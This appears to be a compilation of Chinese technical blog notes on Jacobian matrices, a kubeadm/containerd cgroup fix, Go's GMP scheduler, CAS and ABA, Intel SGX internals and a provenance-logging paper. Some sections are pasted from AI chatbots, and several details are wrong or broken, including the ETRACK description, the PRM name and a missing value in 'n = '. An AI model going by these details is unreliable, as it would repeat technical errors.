f_2(x_1, x_2, \dots, x_n)\\\
\vdots \\
f_m(x_1, x_2, \dots, x_n) \\
\end{bmatrix}, $

其中 $ f_1, f_2, \dots, f_m $ 是 $ f $ 的分量函数。

在点 $ X = (x_1, x_2, \dots, x_n) $ 处，函数 $ f $ 的雅可比矩阵 $ J_f(X) $ 是一个 $ m \times n $的矩阵，定义为：

$ J_f(X) =
\begin{bmatrix}
\frac{\partial f_1}{\partial x_1} & \frac{\partial f_1}{\partial x_2} & \cdots & \frac{\partial f_1}{\partial x_n} \\
\frac{\partial f_2}{\partial x_1} & \frac{\partial f_2}{\partial x_2} & \cdots & \frac{\partial f_2}{\partial x_n} \\
\vdots & \vdots & \ddots & \vdots \\
\frac{\partial f_m}{\partial x_1} & \frac{\partial f_m}{\partial x_2} & \cdots & \frac{\partial f_m}{\partial x_n} \\
\end{bmatrix}. $

相当于 $ J_f(X) $ 的第 $ (i,j) $ 项是函数 $ f_i $ 对变量 $ x_j $ 的偏导数：

$ [J_f(X)]_{i,j} = \frac{\partial f_i}{\partial x_j}. $

特殊情况

• 如果 $ f $ 是标量函数（即 $ m = 1 $ ），那么雅可比矩阵是一个 $ 1 \times n $ 的行向量，称为函数 $ f $的 梯度向量 。
• 如果 $ f $ 是从 $ \mathbb{R}^n \to \mathbb{R}^n $ 的向量函数（即 $ n = m $ ），则雅可比矩阵是一个方阵，常被用于研究 $ f $在点处的可逆性等性质。

几何意义

1. 局部变化率与线性近似：雅可比矩阵定义了 $ f $ 在某一点的线性近似 。从泰勒展开的角度来看，如果 $ \Delta $ 是自变量的小增量，那么： $ f(X + \Delta X) \approx f(X) + J_f(X) \cdot \Delta X. $ 其中 $ J_f(X) \cdot \Delta $ 表示由雅可比矩阵定义的线性部分。
2. 方向导数：如果方向单位向量为 $ v \in \mathbb{R} $，那么 $ J_f(X) $ 是函数$ f $沿着方向 $ v $的变化率。
3. 几何映射的局部行为：雅可比矩阵描述了映射 $f$ 在一点处的局部伸缩、旋转或反射 的性质：
   1. 如果 $ n = $ 且雅可比行列式（即 $ \det(J_f(X) $）不为 0，则 $ f $ 在这一点处是局部的双射。
   2. 如果雅可比行列式为 0，则 $ f $ 在这一点可能是奇异的（不可逆）。

计算实例

示例 1：标量情况

函数 $ f(x,y) = x^2 + y^2 $，其雅可比矩阵是：

$ J_f(x,y) = \begin{bmatrix}
\frac{\partial f}{\partial x} & \frac{\partial f}{\partial y}
\end{bmatrix}
= \begin{bmatrix}
2x & 2y
\end{bmatrix}. $

示例 2：向量情况

定义 $ f(x,y,z) = \begin{bmatrix} x^2y \\ yz \\ e^x+z \end{bmatrix} $，则雅可比矩阵为：

$ J_f(x,y,z) =
\begin{bmatrix}
\frac{\partial f_1}{\partial x} & \frac{\partial f_1}{\partial y} & \frac{\partial f_1}{\partial z} \\
\frac{\partial f_2}{\partial x} & \frac{\partial f_2}{\partial y} & \frac{\partial f_2}{\partial z} \\
\frac{\partial f_3}{\partial x} & \frac{\partial f_3}{\partial y} & \frac{\partial f_3}{\partial z}
\end{bmatrix} = \begin{bmatrix}
2xy & x^2 & 0 \\
0 & z & y \\
e^x & 0 & 1 \\
\end{bmatrix}. $

问题的解决

这个问题，问AI一直没有解决，简中互联也没搜到。最后再gitlab issue里面找到答案。因此快速记一下修复原理。

解决问题的issue在

https://github.com/kubernetes/kubeadm/issues/2833

https://github.com/etcd-io/etcd/issues/13670

问题的特征是用kubeadm init启动，像issue里面会遇到CrashLoopBackOff

1
2
3
4
5
6
7
8
9
10

root@student-VMware-Virtual-Platform:/home/student/Desktop# kubectl get pods -n kube-system
NAME                                                      READY   STATUS             RESTARTS        AGE
coredns-668d6bf9bc-mc5mn                                  0/1     Pending            0               119s
coredns-668d6bf9bc-sd84z                                  0/1     Pending            0               119s
etcd-student-vmware-virtual-platform                      1/1     Running            2 (2m53s ago)   2m57s
kube-apiserver-student-vmware-virtual-platform            1/1     Running            2 (2m23s ago)   2m57s
kube-controller-manager-student-vmware-virtual-platform   1/1     Running            4 (2m53s ago)   2m57s
kube-proxy-7k6hq                                          1/1     Running            2 (41s ago)     2m
kube-scheduler-student-vmware-virtual-platform            0/1     CrashLoopBackOff   4 (22s ago)     2m57s
root@student-VMware-Virtual-Platform:/home/student/Desktop# 

然后慢慢的整个集群在挂掉，使用不了kubectl。

1
2

root@student-VMware-Virtual-Platform:/home/student/Desktop/lk8s# kubectl get pods -n kube-system  
The connection to the server 192.168.220.128:6443 was refused - did you specify the right host or port?

看apiserver的容器日志发现它就是收到了信号被关了，也没有error错误。

解决方法是在/etc/containerd/config.toml

1
2

/etc/containerd/
vim /etc/containerd/config.toml

添加配置

1
2
3
4
5
6
7
8
9

version = 2
[plugins]
  [plugins."io.containerd.grpc.v1.cri"]
   [plugins."io.containerd.grpc.v1.cri".containerd]
      [plugins."io.containerd.grpc.v1.cri".containerd.runtimes]
        [plugins."io.containerd.grpc.v1.cri".containerd.runtimes.runc]
          runtime_type = "io.containerd.runc.v2"
          [plugins."io.containerd.grpc.v1.cri".containerd.runtimes.runc.options]
            SystemdCgroup = true

产生问题的原因

根据issue的里面指导可以看到k8s文档，在linux下又两个cgroup driver，一个是cgroupfs，一个是systemd。

Kubelet和容器运行时必须要使用一样的cgroup driver才可以。

It’s critical that the kubelet and the container runtime use the same cgroup driver and are configured the same.

根据文档所说kubelet默认情况下用的是cgroupfs

但是我这里使用kubeadm v1.32，默认是用的systemd

1

cat /var/lib/kubelet/config.yaml | grep cgroupDriver

再看containerd配置，看到默认是cgroupfs而不是system

1

containerd config default > /tmp/1.txt

systemd_cgroup = false

[plugins.”io.containerd.grpc.v1.cri”.containerd.runtimes.runc.options]
BinaryName = “”
CriuImagePath = “”
CriuPath = “”
CriuWorkPath = “”
IoGid = 0
IoUid = 0
NoNewKeyring = false
NoPivotRoot = false
Root = “”
ShimCgroup = “”
SystemdCgroup = false

如文档所说，两套cgroup manager同时用会导致不稳定，需要修改runc的启动参数。

在 Go 语言中，GMP 是 Go 运行时调度器的核心模型，用于高效地管理并发任务（goroutine）的执行。GMP 分别代表：

• G（Goroutine）：Go 中的轻量级线程，表示一个独立的任务或协程。
• M（Machine）：操作系统线程，Go 运行时通过 M 来执行 G。
• P（Processor）：逻辑处理器，负责调度 G 到 M 上运行。

GMP 模型的设计目的是为了高效利用多核 CPU，同时隐藏底层线程管理的复杂性，提供更高效的并发支持。

GMP 模型的具体含义

1. G（Goroutine）

   1. Goroutine 是 Go 的核心并发单元，类似于协程。
   2. 每个 G 包含任务的执行上下文（如栈、程序计数器等）和调度信息。
   3. G 是非常轻量级的，创建和销毁的开销远小于操作系统线程。

2. M（Machine）

   1. M 是操作系统线程的抽象，负责执行 G。
   2. M 直接与操作系统线程绑定，Go 运行时会动态创建或销毁 M，以适应程序的并发需求。
   3. 一个 M 在任意时刻只能绑定一个 P，且只能执行绑定的 P 中的 G。

3. P（Processor）

   1. P 是逻辑处理器，负责调度 G 到 M 上运行。
   2. P 的数量由 GOMAXPROCS 决定，表示程序可以并行运行的最大线程数。
   3. P 维护一个本地的 G 队列，存储待执行的 Goroutine。
   4. 如果 P 的 G 队列为空，它可以从其他 P 的队列中窃取任务（work stealing）。

GMP 的工作流程

1. G 的创建

   1. 当程序创建一个新的 Goroutine 时，G 会被放入某个 P 的本地队列中，等待被调度执行。

2. P 调度 G

   1. P 从自己的本地队列中取出 G，并将其分配给绑定的 M 执行。
   2. 如果本地队列为空，P 会尝试从其他 P 的队列中窃取任务。

3. M 执行 G

   1. M 负责实际执行 G 的代码。
   2. 如果 G 阻塞（如 I/O 操作），M 会将当前 G 挂起，并尝试执行其他 G。

4. 动态调整

   1. 如果 G 的数量远超 M 的数量，Go 运行时会动态创建新的 M。
   2. 如果某些 M 长时间空闲，Go 运行时会销毁这些 M，以节省资源。

GMP 模型的优点

1. 高效的并发支持

   1. Goroutine 是轻量级的，创建和切换的开销远小于操作系统线程。
   2. GMP 模型通过逻辑处理器（P）和任务窃取机制，充分利用多核 CPU 的性能。

2. 自动调度

   1. Go 运行时自动管理 Goroutine 的调度，开发者无需手动管理线程。

3. 阻塞操作优化

   1. 当 Goroutine 阻塞时，Go 运行时会将其挂起，并调度其他 Goroutine 执行，避免线程资源浪费。

In the Go GMP model, does an IO-intensive application need to set the number of P greater than the number of CPU cores?

No, an I/O-intensive application in Go’s GMP (Goroutine, Machine, Processor) model generally does not need to set GOMAXPROCS (the number of P’s) greater than the number of CPU cores. In fact, doing so can often be detrimental to performance. Here’s why:

• Concurrency vs. Parallelism: Go’s strength lies in concurrency, not necessarily parallelism. Concurrency means handling multiple tasks at the same time, while parallelism means executing multiple tasks simultaneously. I/O-bound operations spend most of their time waiting for external resources (disk, network, etc.). During this waiting time, the OS puts the goroutine to sleep. Another goroutine can then run on the same OS thread (and thus, the same P). Increasing the number of P’s won’t make the I/O faster; it just adds overhead for context switching between P’s.
• OS Thread Management: The P’s are mapped to OS threads. Having more P’s than CPU cores means the OS scheduler will be constantly switching between threads, leading to context switching overhead.() This overhead can outweigh any potential gains, especially in I/O-bound applications where the CPU is not the bottleneck.
• Blocking System Calls: When a goroutine makes a blocking system call (like reading from a file or network socket), the associated OS thread is blocked. However, the Go runtime uses a technique called “network poller” to handle network I/O efficiently. For file I/O, if the runtime detects a long blocking operation, it can detach the M (OS thread) from the P, allowing other goroutines to run on that P. When the I/O operation completes, the M is reattached. This mechanism minimizes blocking and context switching.

I/O时会发生什么？

网络 I/O： Go runtime 使用非阻塞的 I/O 模型和 epoll/kqueue 等操作系统提供的 I/O 多路复用机制（network poller）。当一个 G 发起网络 I/O 操作时，通常不会阻塞 M。而是将 I/O 请求交给操作系统，然后该 G 会被放入网络轮询器(network poller)中等待 I/O 事件。P 可以继续调度其他 G 在 M 上执行。当 I/O 事件发生时，runtime 会收到通知，并将相应的 G 重新放回 P 的 runqueue 中，等待调度。

文件 I/O (以及其他可能长时间阻塞的系统调用)： 对于文件 I/O，如果操作是阻塞的（例如读取大文件），则情况会略有不同。在这种情况下：

• 如果 runtime 判定此 I/O 操作会长时间阻塞，会将 M 从 P 上解绑 。这个过程叫做 sysmon 会检测，当一个 M 阻塞时间过长，sysmon会把这个M和P分离。
• 此时，P 就变成空闲状态了，它可以寻找其他的 M 来绑定，或者创建新的 M。这样，其他的 G 就有机会在这个 P 上继续执行，不会因为某个 G 的文件 I/O 操作而导致整个 P 阻塞。
• 当 I/O 操作完成时，被解绑的 M 会尝试重新获取一个 P。如果此时有空闲的 P，则直接绑定；如果没有空闲的 P，则 M 会进入一个空闲 M 列表等待 P。

更多解绑细节

当 sysmon 将 M 和 P 解绑后，P 不会立即创建新的 M。P 的行为如下：

1. 检查本地 runqueue： P 首先会检查其本地的 runqueue (runq) 中是否还有待执行的 G。如果 runqueue 不为空，P 会选择一个 G，并尝试找到一个 空闲的 M 来执行该 G。
2. 寻找空闲 M： P 会首先查看是否有空闲的 M 列表 (idle M list)。如果存在空闲的 M，P 会直接与该 M 绑定，然后将 runqueue 中的 G 调度到该 M 上执行。
3. 创建新的 M（如果需要）： 如果没有空闲的 M 可用，且 P 的 runqueue 不为空，P 才会 创建一个新的 M，并与该 M 绑定，然后将 runqueue 中的 G 调度到该 M 上执行。
4. 窃取 (work stealing)： 如果 P 的 runqueue 也为空，P 会尝试从其他 P 的 runqueue 中 窃取 一部分 G。这是 Go 调度器实现负载均衡的重要机制。如果窃取成功，P 就会有待执行的 G，并按照上述步骤寻找或创建 M 来执行。
5. 进入休眠 (spinning)： 如果 P 的 runqueue 为空，且无法从其他 P 窃取到 G，P 会进入休眠状态 (spinning)。此时 P 不会消耗 CPU 资源，直到有新的 G 需要执行时才会被唤醒。

还有一个细节

sysmon是发现它是文件i/o所以分离M和P。还是因为他syscall时间太长所以分离。注意这两个的区别，一个是提前就发现了，一个是超时了才发现。

1. 不是提前发现是文件 I/O

Go runtime 并不会在 G 执行系统调用 之前 就判断这是不是文件 I/O，然后采取特殊处理。实际上，runtime 对所有类型的阻塞系统调用都采用相同的处理方式，包括文件 I/O、网络 I/O（在某些情况下，虽然通常是异步的，但也可能发生阻塞）、以及其他用户自定义的阻塞系统调用。

这意味着：

• runtime 没有维护一个“文件 I/O 特殊处理”的列表或逻辑。
• runtime 不会区分系统调用的类型。

2. 是 syscall 时间太长才分离

sysmon 的核心工作是 监控 ，而不是 预判 。它通过周期性地检查所有 M 的状态来判断是否有 M 阻塞在系统调用上的时间过长。这个“过长”的阈值通常是 10ms。

具体流程如下：

1. G 执行一个系统调用。
2. runtime 将该 G 的状态标记为 _Gsyscall。
3. 该 G 所在的 M 进入阻塞状态，等待系统调用完成。
4. sysmon 周期性地检查所有 M 的状态。
5. 如果 sysmon 发现某个 M 的状态为 _Gsyscall，并且持续时间超过阈值（10ms），它就认为该 M 正在执行长时间阻塞的系统调用。
6. sysmon 将该 M 与其绑定的 P 解绑。

因此，分离 M 和 P 的 根本原因是超时 ，而不是提前知道是哪种类型的系统调用。

参考

Google Gemini2.0

CAS即Compare And Swap的缩写，翻译成中文就是 比较并交换 ，其作用是让CPU比较内存中某个值是否和预期的值相同，如果相同则将这个值更新为新值，不相同则不做更新，也就是CAS是原子性的操作(读和写两者同时具有原子性)，其实现方式是通过借助C/C++调用CPU指令完成的，所以效率很高。

用CAS来实现一个无锁栈

设想我们实现了一个无锁栈，用链表节点表示栈中的元素，其中top指针指向栈顶元素。为了实现高效和线程安全的出栈操作，我们使用CAS更新top指针。一个典型的出栈伪代码可能是以下形式：

1
2
3
4
5
6
7
8
9
10

function pop() {  
    do {  
        oldTop = top  // 获取当前栈顶节点  
        if (oldTop == null) {  
            return null  // 栈为空  
        }  
        newTop = oldTop.next  // 栈顶将被移除，新的栈顶是下一个  
    } while (!compare_and_swap(top, oldTop, newTop))  // CAS操作，尝试更新栈顶  
    return oldTop.value  // 返回栈顶的值  
}

ABA问题-在无锁栈中

假设以下线程和操作按顺序发生：

1. 线程A：调用pop，读取oldTop，其值是节点A。
2. 线程B：调用两次pop，依次移除了节点A和节点B，并随后将节点A重新压回栈（通过push操作），此时栈的top再次指向节点A。
3. 线程A：继续执行刚才的CAS操作，发现top的值仍然是节点A（因为线程B又将节点A压回栈），CAS 操作通过。

看似 CAS 成功了，但线程A并不知道，栈的结构已经在它检查oldTop和执行CAS之间发生了改变。此时返回的节点A可能已经不再安全使用，因为它的状态已经被修改，或者栈本身的数据结构可能已经遭到破坏。

ABA问题-在“生活”中

小明在提款机，提取了50元，因为提款机问题，有两个线程，同时把余额从100变为50

线程1（提款机）：获取当前值100，期望更新为50，

线程2（提款机）：获取当前值100，期望更新为50，

线程1成功执行，线程2某种原因block了，这时，某人给小明汇款50

线程3（默认）：获取当前值50，期望更新为100，

这时候线程3成功执行，余额变为100，

线程2从Block中恢复，获取到的也是100，compare之后，继续更新余额为50！！！

此时可以看到，实际余额应该为100（100-50+50），但是实际上变为了50（100-50+50-50）这就是ABA问题带来的成功提交。

ABA问题的解决

在变量前面加上版本号，每次变量更新的时候变量的 版本号都 +1，即A->B->A就变成了1A->2B->3A。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

class Node<T> {  
    T value;  
    Node<T> next;  
    long version; // 添加版本号字段  
}  

class VersionedReference<T> {  
    Node<T> reference;  
    long version;  
  
    VersionedReference(Node<T> ref, long ver) {  
        reference = ref;  
        version = ver;  
    }  
}  

function pop() {  
    VersionedReference<T> oldTop;  
    Node<T> newTop;  
  
    do {  
        oldTop = top.get(); // 获取当前的引用和版本号  
        if (oldTop.reference == null) {  
            return null; // 栈为空  
        }  
        newTop = oldTop.reference.next; // 新的栈顶是下一个节点  
      
        // CAS操作会同时比较引用和版本号  
    } while (!top.compareAndSet(  
        oldTop,  // 期望的旧值(包含引用和版本号)  
        new VersionedReference(newTop, oldTop.version + 1)  // 新值(更新引用和版本号)  
    ));  
  
    return oldTop.reference.value;  
}  

什么是原语？

计算机是一门人造科学，因此真正意义上的“原语”是不存在的。操作系统层面上的“原语”（比如 write 之类的系统调用）对程序员来讲的确是不可分割的最小单位，但是这写系统调用本身还是用好几句汇编语句组成的（对于 Linux 来说是 C 语言）。可能有人要说到了机器代码这一级就不能再分了，但事实上一条机器指令也是由好几个组合逻辑信号构成的。同样的道理，控制信号也不过是无数电子在器件内部漂移的结果。

因此定义“原语”的前提是观察者所处的位置。一旦规定了观察者的位置和观察的角度，比如就在操作系统的这层上，read，wirte，wait这些个系统调用自然就是最“原始”的词汇，这也是为什么“原语”会在操作系统中频繁出现的缘故。

参考

什么是“原语”

CAS原理分析及ABA问题详解

Claude 3.5 sonnet

SGX使得应用程序在一段位于Enclave地址空间中能够开辟一段受保护的内存空间。这段受保护空间实行严格的访问控制和加密操作来提供对程序数据机密性和代码完整性的保护，使得即使是Hypervisor、BIOS，操作系统等特权应用都不能随意访问这段地址空间

SGX的启用

SGX support can be checked by executing the CPUID instruction with the Structured Extended Feature Leaf flag set, and checking if the second bit of the EBX register is set. To be able to use SGX, it must have been enabled by BIOS, and only a few BIOSes actually support this technology. That is one of the reasons it is not widely used.

Enclave

在Intel SGX（Software Guard Extensions）中，Enclave是一个受硬件保护的安全执行环境（Trusted Execution Environment, TEE）。Enclave是一个运行环境的概念，但它也可以被视为一个程序实体的逻辑单元，因为它承载了特定的代码和数据，并在运行时提供隔离和保护。

程序在编译时会被被分为non-secure和secure part (运行在enclave中)。当调用enclave function时，程序会进入enclave环境，只有enclave中的代码可以访问enclave中数据。

一个代码的例子

INTEL SGX指令

ring0支持左边8个指令，ring3支持右边五个指令。

内存中的关键概念

PRM (Preserved Random Memory)

• 是DRAM中一段连续的保留内存区域
• 位于最低的BIOS层
• 不能被任何普通软件直接访问

EPC (Enclave Page Cache)

• 是PRM中的一部分
• 由操作系统负责分配
• 是4KB大小的内存页面组成的集合
• 用于存储Enclave的代码和数据
• 内存会被Memory Encryption Engine加密。只有在物理CPU中才会被解密。加密的密钥在boot time时被生成并存储在CPU中。

EPCM (Enclave Page Cache Map)

• EPCM不存储在EPC或PRM中，EPCM是一个硬件级的数据结构。存储在处理器的专用存储区域中（例如，处理器内部的寄存器或缓存中）
• EPCM在处理器内部，软件（ 包括Enclave代码 、操作系统）都无法直接访问。
• EPCM是一个硬件维护的表，用于记录EPC中每个页面的元数据（metadata）。
• 它跟踪EPC页面的分配状态、所属Enclave、页面类型（如代码页、数据页、TCS页等）以及访问权限。

EPCM结构体

• VALID：

  • 标志页面是否已分配。
  • 如果为0，表示该页面未被分配。

• PT（Page Type）：

  • 指定页面的类型，例如：

    • PT_REG：普通数据或代码页面。
    • PT_SECS：SECS页面。
    • PT_TCS：线程控制结构（TCS）页面。

• ENCLAVESECS：

  • 标识页面所属的Enclave。
  • 确保页面只能被其所属的Enclave访问，防止跨Enclave的非法访问。

• ADDRESS：

  • 页面对应的虚拟地址，用于访问该页面。

• R/W/X（权限位）：

  • 控制页面的访问权限：

    • R：允许Enclave代码读取页面。
    • W：允许Enclave代码写入页面。
    • X：允许在页面中执行代码。

单个PRM中只有一个EPC区域：

• PRM中的一部分被划分为EPC，用于存储Enclave的页面（代码和数据）。
• EPC是一个连续的内存区域，其大小由硬件和BIOS配置决定（通常是128MB，但可能更小或更大，具体取决于处理器型号和系统配置）。
• 换句话说，PRM中只有一个EPC区域，而不是多个EPC。
• 多个Enclave的页面会被分配到同一个EPC区域中，但硬件确保它们之间的隔离和安全性。(EPCM确保)
• 每个Enclave需要占用一定数量的EPC页面。如果EPC空间不足，系统可能会通过SGX的换页机制（paging）将部分EPC页面换出到普通内存中。

SECS (SGX Enclave Control Structure)

一个Enclave对应一个SECS

• SECS的作用：

  • SECS是每个Enclave的核心元数据结构，存储了Enclave的关键信息，包括：

    • 密码学测度（Measurement）：用于认证Enclave的完整性。
    • Enclave的身份信息：如Enclave的创建参数、大小、属性等。

  • SECS是EPC中的一个页面，但它受到严格的硬件保护， 只有SGX硬件和微码可以访问和修改 。

• 安全性要求：

  • 如果Enclave中的代码能够直接修改SECS中的数据（如密码学测度或身份信息），将破坏SGX的安全模型。
  • 为此，SGX硬件通过EPCM中的权限控制字段，确保SECS页面只能由SGX硬件访问，而不能被Enclave代码或外部软件直接修改。

TCS (Thread Control Structure)

和SECS一样，不能被其他软件包括enclave中的代码本省修改。一个enclave至少有一个，因为它为多线程而生，所以也可以有多个。

The SGX design fully supports multi-core processors. It is possible for multiple logical processors to concurrently execute the same enclave’s code at the same time, via different threads.

The SGX implementation uses a Thread Control Structure (TCS) for each logical processor that executes an enclave’s code.

SSA(Save State Area)

一个TCS至少有有一个SSA用于在线程因为中断或者异常退出时保存状态，在恢复时从这里面读取状态。

Stack and Heap

有自己的堆栈

Intel SGX信任根与信任链建立过程

一、硬件信任根初始化

1. Intel SGX硬件密钥体系

• 基础密钥(Root Provisioning Key和Root Seal Key)在制造时烧录到熔丝(Fuse)中

• 采用密钥派生机制(Key Derivation)生成其他功能密钥:

  • Provisioning Key: 用于远程认证
  • Seal Key: 用于数据加密存储
  • Report Key: 用于本地报告签名
  • Launch Key: 用于Enclave启动控制

2. SGX硬件可信模块

• 测量引擎(Measurement Engine)
• 密钥派生引擎(Key Derivation Engine)
• 加密引擎(Encryption Engine)
• 签名验证引擎(Signature Verification Engine)
• 安全内存管理单元(Memory Management Unit)

二、Enclave创建与测量

1. Enclave代码准备

• 开发者提供Enclave代码、数据和属性定义
• 属性包括:XFRM、MODE(DEBUG/PRODUCTION)等

2. 硬件测量过程

• 逐页测量:

For each page:

1

MRENCLAVE = SHA256_UPDATE(MRENCLAVE ||  PAGE_INFO || PAGE_CONTENT)

• 页信息(PAGE_INFO)包含:

  • 页类型(REG/TCS/SECS)
  • 页属性(R/W/X权限)
  • 加载偏移地址

• 最终生成256位的MRENCLAVE值

三、签名验证(SIGSTRUCT)

1. 开发者签名

• 使用2048位RSA密钥对生成SIGSTRUCT
• SIGSTRUCT包含:

1
2
3
4
5
6
7
8

{
  MRENCLAVE,
  Attributes,
  ISVSVN,
  ISVPRODID,
  DATE,
  SIGNATURE 
}

2. MRSIGNER生成

• MRSIGNER = SHA256(RSA Public Key Modulus)
• 用于识别Enclave开发者身份

3. 硬件验证

• 验证RSA签名有效性
• 验证MRENCLAVE匹配
• 验证属性合法性

四、启动授权(EINITTOKEN)

1. Launch Enclave职责

• 实现Intel定义的启动控制策略
• 管理Enclave白名单
• 生成并签署EINITTOKEN

2. EINITTOKEN结构

1
2
3
4
5
6
7
8
9

{
  MRENCLAVE,
  MRSIGNER,
  Attributes,
  ISVSVN,
  CPUSVN,
  KEYID,
  MAC  // 使用Launch Key计算的MAC
}=

3. 授权流程

1. 验证请求者身份(MRSIGNER)
2. 检查启动策略合规性
3. 使用Launch Key生成MAC
4. 打包EINITTOKEN

五、Enclave初始化(EINIT)

1. 硬件验证

• 验证EINITTOKEN的MAC
• 验证MRENCLAVE/MRSIGNER匹配
• 检查属性与策略符合性

2. 初始化过程

• 建立Enclave上下文
• 初始化TCS(Thread Control Structure)
• 设置内存访问权限
• 生成Enclave加密密钥

3. 信任链确立

• 硬件信任根 → 测量值 → 开发者签名 → 启动授权 → 运行时隔离

这样的修改更准确地描述了SGX的信任根和信任链建立过程,包含了关键的技术细节。您觉得还有需要补充或修改的地方吗?

防止不可信的OS地址映射攻击

OS会被视作不可信环境，需要防止恶意的OS修改VA到PA的映射。

1. The CPU performs the usual virtual-to-physical address translation using the page tables (controlled by the untrusted OS).

2. Once the physical address is determined, the CPU checks whether the physical address belongs to an EPC page by consulting the EPCM.

3. If the physical address is an EPC page, the CPU compares the virtual address being accessed with the expected virtual address stored in the EPCM entry for that EPC page.

   1. If the virtual address matches, the access is allowed.
   2. If the virtual address does not match, the CPU raises an exception, and the access is denied.

Enclave的调度

留给操作系统调度的指令

EPA - This instruction allocates a 4KB memory page that will contain the pages version number array (VA) to protect against replay. Each element is 64 bits long.

EBLOCK - This instruction blocks all accesses to the page being prepared for eviction. All future accesses to this page will result in a page fault (“page blocked”).

ETRACK - This instruction evicts a page from the EPC. The page must have been prepared properly: it must be blocked and must not be referenced by the TLB. Before writing it into the external memory, the page is encrypted, and a version number and meta-data are generated, and a final MAC is performed.

ELDB/ELDU - This instruction loads into memory a previously evicted page, in a blocked state or not. It checks the MAC of the meta-data, version number (from the corresponding VA entry), and the page encrypted content. If the verification succeeds, the page content is decrypted and placed inside the chosen EPC page, and the corresponding VA entry deleted.

Enclave的创建

Enclave的进入和退出

Enclave中断和恢复

Intel SGX的原生支持缺陷

SGX 的原生接口（如 ECALL 和 OCALL）非常底层，无法直接支持复杂的 OS 抽象。例如，线程管理、同步原语和动态线程创建在 SGX 中没有直接支持。

也不支持enclave之间通信。

参考

https://lingering.github.io/2020/06/18/SGX-%E5%9F%BA%E6%9C%AC%E5%8E%9F%E7%90%86/

https://blog.quarkslab.com/overview-of-intel-sgx-part-1-sgx-internals.html

https://blog.quarkslab.com/overview-of-intel-sgx-part-2-sgx-externals.html

https://www.ndss-symposium.org/wp-content/uploads/2017/09/ndss2017_07-5_Shinde_paper.pdf

https://sgx101.gitbook.io/sgx101/sgx-bootstrap/enclave

这篇文章是19年的时候作者觉得现在基于syscall的日志粒度太粗糙了，可能引起路径爆炸的问题，所以提出了一个unit的概念用来精细化。

为什么粗糙？

其实只要是一些长时间跑的程序会有，比如浏览器，比如email软件。

比如一天一个人会收到无数封邮件，其中有一封是钓鱼邮件，这个受害者使用Pine（一个文本基的电子邮件客户端）触发firefox打开钓鱼邮件里面恶意链接之后，中了木马。

因为邮件程序和firefox程序都是在长时间运行，所以一旦出了问题难以溯源，究竟是哪一封邮件，触发哪一个钓鱼IP导致的问题。

Existing Heuristics method

一些现有的解决这个问题的方法是

1. 使用时间戳来关联到近似的精准的因果关系 -> 显然者并不是一个优雅的方法
2. 既然一个程序（进程）粒度太粗了那就切分到线程级别来做 -> 但是一些程序是用线程池的，仍然会造成因果混乱。
3. 从file segment的角度关联，只有读了同一个文件指定segment才关联到一起。-> 显然也不优雅，如果两个不相关的进程恰好整体读了文件，也会有错误因果关系。

Insight

作者观察到这种长时间运行的程序都会有loop的特征。所以作者把每一次循环都看作是一个unit，然后关联unit之间的关系。做到细粒度的关联。

并且作者观察到这种loop特征的长时间运行程序基本都是事件驱动类型的。

作者把他们分成了三种pattern

1. Single-process 比如W3M
2. Multiprocess 比如SSH直接fork一个新进程。
3. multi-threaded, respectively 比如apache http server, 两个线程，一个线程“生产”，一个线程“消费”

1. 每一次循环可以看成一个独立的子执行一个unit
2. 子进程没有loop，所以子进程看成一个unit
3. 把生产者的一次循环和对应触发的消费者的那一次循环看成两个unit

如3这种比较复杂的需要找到unit之间的依赖关系，如果这种loop是被系统事件驱动很好找，因为监控系统调用就行了比如socket/file。

但是对于一些不是由系统event触发的loop，就需要考察是enqueue和dequeue进行插桩关联。

识别unit

作者先是放弃了静态分析的方法，因为静态分析总是不精确的（参考莱斯定理哈哈）。

首先作者总结了包含unit的loop的特征

1. 这样的loop一般会倾向于出现在顶层
2. 这样的loop一般会有一个syscall产生输入后或者输出

但是这个特征并不精确，作者观察到有一些init和finailize的逻辑也会在顶层循环中，并且他发现在第二级loop中的逻辑才是我们想要找的unit。比如他们研究pine的时候发现的例子。

所以为了容忍这种情况，作者用tranning的方法对top level和second level的loop进行排查。

这个trainning的具体做法是

In the training phase, our technique first constructs control flow graphs and call graphs for subject binaries using PEBIL [21], to identify loop heads and exits. Then we perform dynamic instrumentation using PIN [23] to log the beginning and ending of each iteration of all loops and system calls. We analyze the generated training log to filter out those loops that nest too deep or do not involve input/output syscalls.

然后作者在后面说他把细节省略，但是我其实挺想看这些工程化细节的。。。

这三列就是作者分别识别出来的，这程序总共有多少个loop，第一二季有多少loop，包含syscall有多少loop

关联unit

捕获单元间的依赖关系对于隔离由多个单元构成的语义独立子执行是非常重要的。

这里基本思路是改进版的访问同一块内存。作者这里定义了两种类型的unit依赖

• Low Level Dependence：比如一些日志或者内存的管理，或者一个程序要通过更新全局变量的方式向另一个方报告自己的状态etc。这些东西可能导致最终把所有的unit都关联起来。
• Workflow Dependence：这两个unit有明确的工作流关系

比如这里实线是Workflow Dependence，Low Level Dependence是虚线由update(log_buf)导致。

所以作者这里又加两个规则（为了拿到workflow dependence）

1. 两个有workflow dependence关系unit共享heap object的变量，而不是全局变量或者栈变量
2. 来自同一个loop的unit都会有不同对象比如socket_A，socket_b，socket_c，但是像log_buf都是大家都有。

作者下面给了一个算法来自动化的寻找unit

1. We instrument libc memory allocation functions to detect all heap objects and their sizes.
2. We instrument all memory accesses to check if an access targets on any of the allocated heap objects. If so, we log the access.
3. We instrument all the unit loops identified in the previous phase to log the begin and the end of a unit. Essentially, we log each instance of a unit loop head. The execution between two consecutive instances of the loop head denotes a unit.
4. We then associate all the heap objects to the units in which they are accessed. For a heap access instruction inside a unit loop, if it accesses unique heap objects in different units and these objects cause inter-unit dependences, we consider it a unit dependence inducing instruction.* In other words, if an instruction ever accesses the same heap object in multiple units, it is excluded; if the object accessed by an instruction can never cause cross-unit dependence, it is excluded.*

在这个例子中算法会排除0x1,0x10 etc,因为他们在多个unit中都用到了，而0x10001只被两个unit共享所以会被看成有workflow dependence。0x20001同理。

后面作者又优化了一下这种算法，因为他发现我在两个有workflow dependence的unit里面，比如unit1-1 unit2-1

unit1-1写入0x50000, 0x50010。然后unit2-1读取0x50000, 0x50010。他们都会建立两次关系，但其实可能只是读了一个结构体的不同field，作者觉得unit1-1的写和unit2-1的读总是对称的。所以只选第一个field建立一次关系。

评论：但是我不懂作者是如何做到这一点的，怎么判断是不是同一个结构体的field？通过插桩的记录的chunk起始地址和大小？

